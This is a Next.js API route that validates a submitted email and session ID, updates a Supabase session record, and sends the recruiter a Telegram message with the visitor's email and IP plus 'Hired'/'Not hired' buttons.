import { NextRequest, NextResponse } from 'next/server'
import { encodeHireDecision, isBasicEmail } from '@/lib/hire-check'
import { formatHireCheckMessage } from '@/lib/telegram-messages'
import { sendTelegramText } from '@/lib/telegram-bot-api'
import { sessionSuffix } from '@/lib/telegram-panel-bot'
import { supabase } from '@/lib/supabase'

export async function POST(request: NextRequest) {
  try {
    const body = (await request.json()) as { email?: string; sessionId?: string }
    const email = typeof body.email === 'string' ? body.email.trim().toLowerCase() : ''
    const sessionId = typeof body.sessionId === 'string' ? body.sessionId.trim() : ''

    if (!isBasicEmail(email)) {
      return NextResponse.json({ success: false, error: 'Invalid email address' }, { status: 400 })
    }

    if (!sessionId) {
      return NextResponse.json({ success: false, error: 'Missing session' }, { status: 400 })
    }

    const ip =
      request.headers.get('x-forwarded-for')?.split(',')[0]?.trim() ||
      request.headers.get('x-real-ip') ||
      undefined

    await supabase
      .from('user_sessions')
      .update({
        user_email: email,
        page_url: '/',
        updated_at: new Date().toISOString(),
        is_active: true,
      })
      .eq('session_id', sessionId)

    const suffix = sessionSuffix(sessionId)
    const sent = await sendTelegramText(formatHireCheckMessage({ email, sessionId, ipAddress: ip }), {
      parseMode: 'HTML',
      replyMarkup: {
        inline_keyboard: [
          [
            { text: '✅ Hired', callback_data: encodeHireDecision(suffix, true) },
            { text: '❌ Not hired', callback_data: encodeHireDecision(suffix, false) },
          ],
        ],
      },
    })

    if (!sent) {
      return NextResponse.json(
        { success: false, error: 'Could not notify recruiter. Try again.' },
        { status: 503 }
      )
    }

    return NextResponse.json({ success: true })
  } catch {
    return NextResponse.json({ success: false, error: 'Server error' }, { status: 500 })
  }
}